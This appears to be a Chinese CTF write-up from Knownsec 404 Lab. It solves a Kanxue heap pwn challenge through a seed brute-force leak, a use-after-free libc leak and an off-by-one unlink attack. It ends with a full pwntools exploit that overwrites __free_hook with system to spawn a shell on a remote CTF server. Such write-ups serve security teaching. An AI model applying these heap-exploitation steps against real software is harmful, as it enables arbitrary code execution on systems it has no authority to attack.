作者:Hcamael@知道创宇404实验室
发布时间:2017-11-03

前几天做了看雪ctf的一道pwn题,但是工作比较忙,一直没时间写wp,今天有空了,把wp补上

据说这题出题人出题失误,导致题目难度大大下降,预期是house_of_orange的,但是利用unlink就能做了

获取ELF基地址

程序中有一个猜随机数的功能,代码大致逻辑如下:

*seed = &seed;
srand(&seed);
......
v1 = rand();
puts("Please input the number you guess:");
printf("> ");
if ( v1 == sub_AFA() )
    result = printf("G00dj0b!You get a secret: %ld!\n", *&seed);
else
    result = printf("Wr0ng answer!The number is %d!\n", v1);
return result;

.bss:0000000000202148 seed

使用seed变量的地址作为伪随机数生成器的种子, 因为这个程序开启了PIE保护,所以实际上每次程序运行,种子都是不一样的, 然后随机生成一个数让你猜,猜对了告诉你种子,猜错了告诉你这个随机数

如果我们能得到种子,因为ELF基地址和seed地址的偏移值是固定的,所以我们就能算出ELF的基地址了

然后去翻阅了下random的源码:https://code.woboq.org/userspace/glibc/stdlib/random.c.html

207 void __srandom (unsigned int x)
209 {
210     __libc_lock_lock (lock);
211    (void) __srandom_r (x, &unsafe_state);
212    __libc_lock_unlock (lock);
213 }
214
215 weak_alias (__srandom, srandom)
216 weak_alias (__srandom, srand)

发现,__srandom的参数是无符号整型,长度只有32bit

虽然开了PIE,但ELF的基地址因为系统页对其的原因,最后12bit固定是0,所以,我们只需要爆破20bit,这是非常容易的,下面是部分payload代码:

def get_rand_num():
    guess_num(123)
    r.readuntil("is ")
    random_num = int(r.readuntil("!")[:-1])
    return random_num

def get_elf_base(random_num):
    guess_num(random_num)
    r.readuntil("secret:")
    elf_base = int(r.readuntil("!")[:-1])
    return elf_base-seed_address

def guest(random_num):
    seed_base = 0x202148
    libc = cdll.LoadLibrary("libc.so.6")
    for x in xrange(0x10000000, 0xfffff000, 0x1000):
        libc.srand(x+seed_base)
        if libc.rand() == random_num:
            next_randnum = libc.rand()
            break
    return next_randnum

def main():
    random_num = get_rand_num()
    next_randnum = guest(random_num)
    elf_base = get_elf_base(next_randnum)
    print "get ELF base address: 0x%x"%elf_base

因为python的random和c的是不一样的,所以这里使用ctypes去调用libc中的random

ELF中的漏洞

最关键的一个就是有一个bool标志位,默认值是0,表示该box没有malloc,当malloc后标志位会设置为1,但是当free后,却没有把标志位清零,这就导致可以无限free,一个被free的box,也可以修改和输出box的内容

另一个关键的漏洞是修改box内容的函数中存在off by one

for ( i = 0; dword_202090[v3] >= i; ++i )
{
    read(0, &buf, 1uLL);
    if ( buf == 10 )
        break;
        *(i + qword_202100[v3]) = buf;
}

如果长度有24的box,却可以输入25个字符

还有一个也算漏洞的是再show message函数中,输出使用了puts,输出是根据\x00判断结尾,而不是长度,而在修改message的函数中也没有在用户输入的数据结尾加\x00,所以有可能导致信息泄露,不过这个漏洞对我来说不重要,我的利用方法中,不包含其信息泄露的利用

获取LIBC基地址

泄露LIBC地址的思路很简单,上面说了当一个box被free后因为标志位没有被清零,所以任然可以往里面写数据,输出数据。

如果我们free一个非fast chunk的chunk,也就是说free一个chunk size大于maxfastsize的chunk,将会和unsortbin形成双链表,这个时候的结构如下:

这个时候fd和bk都指向arena中的top_chunk指针,我们能通过输出该box获取到该地址,然后根据偏移值计算出libc的基地址,部分代码如下:

def get_libc_base():
    free_box(3)
    show_message(3)
    data = r.readuntil("You")[:-3].strip()
    top = u64(data+"\x00\x00")
    return top - top_chunk

def main():
    ....
    create_box(1, 24)
    create_box(2, 168)
    create_box(3, 184)
    create_box(4, 200)
    libc_base = get_libc_base()

    print "get libc base address: 0x%x"%libc_base

free的那个box不能是最后一个chunk,否则会和top chunk合并

网上很多unlink的文章,我就不细说了,简单的来说就是要过一个判断,执行一个指令

需要过一个判断:

P->fd->bk == P
P->bk->fd == P

执行一个指令

FD = P->fd
BK = P->bk
FD->bk = BK
BK->fd = FD

当利用之前的代码,泄露完libc地址后,堆布局是这样的:

0x555555757410: 0x0000000000000000  0x0000000000000021   <- box1
0x555555757420: 0x0000000000000000  0x0000000000000000
0x555555757430: 0x0000000000000000  0x00000000000000b1   <- box2
0x555555757440: 0x0000000000000000  0x0000000000000000
0x555555757450: 0x0000000000000000  0x0000000000000000
0x555555757460: 0x0000000000000000  0x0000000000000000
0x555555757470: 0x0000000000000000  0x0000000000000000
0x555555757480: 0x0000000000000000  0x0000000000000000
0x555555757490: 0x0000000000000000  0x0000000000000000
0x5555557574a0: 0x0000000000000000  0x0000000000000000
0x5555557574b0: 0x0000000000000000  0x0000000000000000
0x5555557574c0: 0x0000000000000000  0x0000000000000000
0x5555557574d0: 0x0000000000000000  0x0000000000000000
0x5555557574e0: 0x0000000000000000  0x00000000000000c1    <- box3
0x5555557574f0: 0x00007ffff7dd1b78  0x00007ffff7dd1b78
0x555555757500: 0x0000000000000000  0x0000000000000000
0x555555757510: 0x0000000000000000  0x0000000000000000
0x555555757520: 0x0000000000000000  0x0000000000000000
0x555555757530: 0x0000000000000000  0x0000000000000000
0x555555757540: 0x0000000000000000  0x0000000000000000
0x555555757550: 0x0000000000000000  0x0000000000000000
0x555555757560: 0x0000000000000000  0x0000000000000000
0x555555757570: 0x0000000000000000  0x0000000000000000
0x555555757580: 0x0000000000000000  0x0000000000000000
0x555555757590: 0x0000000000000000  0x0000000000000000
0x5555557575a0: 0x00000000000000c0  0x00000000000000d0    <- box4
0x5555557575b0: 0x0000000000000000  0x0000000000000000
0x5555557575c0: 0x0000000000000000  0x0000000000000000

然后在.bss段有个地方储存着box的地址:

pwndbg> x/6gx 0x202100+0x555555554000
0x555555756100: 0x0000000000000000  0x0000555555757420
0x555555756110: 0x0000555555757440  0x5555557574f0
0x555555756120: 0x00005555557575b0  0x0000000000000000

因为在free box函数的代码中,有一个判断:

if ( !dword_202130[v1] || dword_2020B0[v1] )
    return puts("You can not destroy the box!");

而dword_2020B0是已经初始化过,然后没有代码修改过的变量

.data:00000000002020B0 dword_2020B0      dd 2 dup(1), 2 dup(0), 2 dup(1)

扩展开了就是[1, 1, 0, 0, 1, 1]

所以只有2, 3两个box能被free

在之前已经free过了box3,如果再次free box3,无法触发unlink操作,unlink操作只有在前一个或者后一个chunk未被使用时才会触发,所以我们需要通过free box2来进行触发unlink操作

通过leave message函数来构造一个堆结构:

pwndbg> x/64gx 0x555555757410
0x555555757410: 0x0000000000000000  0x0000000000000021
0x555555757420: 0x0000000000000000  0x0000000000000000
0x555555757430: 0x0000000000000000  0x00000000000000c1    修改长度为0xc1
0x555555757440: 0x0000000000000000  0x0000000000000000
0x555555757450: 0x0000000000000000  0x0000000000000000
0x555555757460: 0x0000000000000000  0x0000000000000000
0x555555757470: 0x0000000000000000  0x0000000000000000
0x555555757480: 0x0000000000000000  0x0000000000000000
0x555555757490: 0x0000000000000000  0x0000000000000000
0x5555557574a0: 0x0000000000000000  0x0000000000000000
0x5555557574b0: 0x0000000000000000  0x0000000000000000
0x5555557574c0: 0x0000000000000000  0x0000000000000000
0x5555557574d0: 0x0000000000000000  0x0000000000000000
0x5555557574e0: 0x0000000000000000  0x00000000000000c1
0x5555557574f0: 0x00007ffff7dd1b78  0x00000000000000b1     构造成一个新的堆,长度为0xb1
0x555555757500: 0x0000555555756100  0x0000555555756108     构造fd和bk
0x555555757510: 0x0000000000000000  0x0000000000000000
0x555555757520: 0x0000000000000000  0x0000000000000000
0x555555757530: 0x0000000000000000  0x0000000000000000
0x555555757540: 0x0000000000000000  0x0000000000000000
0x555555757550: 0x0000000000000000  0x0000000000000000
0x555555757560: 0x0000000000000000  0x0000000000000000
0x555555757570: 0x0000000000000000  0x0000000000000000
0x555555757580: 0x0000000000000000  0x0000000000000000
0x555555757590: 0x0000000000000000  0x0000000000000000
0x5555557575a0: 0x00000000000000b0  0x00000000000000d0      修改prev_size为0xb0
0x5555557575b0: 0x0000000000000000  0x0000000000000000
0x5555557575c0: 0x0000000000000000  0x0000000000000000
0x5555557575d0: 0x0000000000000000  0x0000000000000000
0x5555557575e0: 0x0000000000000000  0x0000000000000000
0x5555557575f0: 0x0000000000000000  0x0000000000000000
0x555555757600: 0x0000000000000000  0x0000000000000000

构造了一个fd和bk指向存储box 地址的.bss段,这样就能构成一个双链表,bypass unlink的check:

P->fd->bk == P
P->bk->fd == P

不过这个时候如果free box2,会报错退出,报错的内容是 free(): corrupted unsorted chunks

去源码中搜一下该error的check:

4248  bck = unsorted_chunks(av);
4249  fwd = bck->fd;
4250  if (__glibc_unlikely (fwd->bk != bck))
4251      malloc_printerr ("free(): corrupted unsorted chunks")

bck指向unsortbin,所以fwd指向box3,然而box3的bk已经被构造成了新chunk的size位,所以报错退出了

这个时候只需要在free box2之前,malloc一个box5,这样将会把unsortbin中的box3分类到smallbin中,从而bypass unsortbin check

利用

在free box2之后,内存大致如下:

pwndbg> x/6gx 0x202100+0x555555554000
0x555555756100: 0x0000000000000000 0x0000555555757420
0x555555756110: 0x0000555555757440 0x0000555555756100
0x555555756120: 0x00005555557575b0 0x0000555555757680

box3的地址已经指向该bss段,从而我们已经可以做到任意地址写了

我的利用思路是,把box 2修改为free_hook的地址,然后把box 0修改为/bin/sh\0正好8byte,这样box 3就是一个/bin/sh字符串了

我们只需要在free_hook中写上system的地址,调用free(box 3),则相当于调用system("/bin/sh\0"),从而达到getshell

完整payload如下:

from pwn import *
from ctypes import cdll

DEBUG = 1

if DEBUG:
    context.log_level = "debug"
    r = process("./club")
    e = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    r = remote("123.206.22.95", 8888)
    e = ELF("./libc.so.6")

malloc_hook = e.symbols['__malloc_hook']
free_hook = e.symbols['__free_hook']
system_address = e.symbols['system']
top_chunk = malloc_hook + 0x68
seed_address = 0x202148
addr_list = 0x202100
one_gadget = 0xf0274
puts_got = 0x202028

def create_box(n, l):
    r.readuntil(">")
    r.sendline("1")
    r.readuntil(">")
    r.sendline(str(n))
    r.readuntil(">")
    r.sendline(str(l))

def free_box(n):
    r.readuntil(">")
    r.sendline("2")
    r.readuntil(">")
    r.sendline(str(n))

def leave_message(n, msg):
    r.readuntil(">")
    r.sendline("3")
    r.readuntil(">")
    r.sendline(str(n))
    r.sendline(msg)

def show_message(n):
    r.readuntil(">")
    r.sendline("4")
    r.readuntil(">")
    r.sendline(str(n))

def guess_num(n):
    r.readuntil(">")
    r.sendline("5")
    r.readuntil(">")
    r.sendline(str(n))

def get_rand_num():
    guess_num(123)
    r.readuntil("is ")
    random_num = int(r.readuntil("!")[:-1])
    return random_num

def guest(random_num):
    seed_base = 0x202148
    libc = cdll.LoadLibrary("libc.so.6")
    for x in xrange(0x10000000, 0xfffff000, 0x1000):
        libc.srand(x+seed_base)
        if libc.rand() == random_num:
            next_randnum = libc.rand()
            break
    return next_randnum

def get_elf_base(random_num):
    guess_num(random_num)
    r.readuntil("secret:")
    elf_base = int(r.readuntil("!")[:-1])
    return elf_base-seed_address

def get_libc_base():
    free_box(3)
    show_message(3)
    data = r.readuntil("You")[:-3].strip()
    top = u64(data+"\x00\x00")
    return top - top_chunk

def main():
    random_num = get_rand_num()
    next_randnum = guest(random_num)
    elf_base = get_elf_base(next_randnum)
    print "get ELF base address: 0x%x"%elf_base
    create_box(1, 24)
    create_box(2, 168)
    create_box(3, 184)
    create_box(4, 200)
    libc_base = get_libc_base()
    create_box(5, 300)
    print "get libc base address: 0x%x"%libc_base
    set_list2_size = p64(0xc1)*3 + "\xc1"
    leave_message(1, set_list2_size)
    set_list3 = p64(0) + p64(0xb1) + p64(elf_base+addr_list) + p64(elf_base+addr_list+8)
    set_list3 += "a"*0x90+p64(0xb0)
    leave_message(3, set_list3)
    free_box(2)
    write_address_list = "/bin/sh\x00" + "a"*8 + p64(libc_base+free_hook)
    leave_message(3, write_address_list)
    leave_message(2, p64(libc_base+system_address))
    free_box(3)
    # leave_message(3, "aaaaaaaa")
    # show_message(3)
    r.interactive()


if __name__ == '__main__':
    main()

总结

unlink原理很早我就知道了,但是却是第一次实践,理论和实际还是差很大的,所以我踩了挺多的坑,花了挺多的时间

我还考虑过fastbin的double free的利用,但是失败了......


源链接

Hacking more

...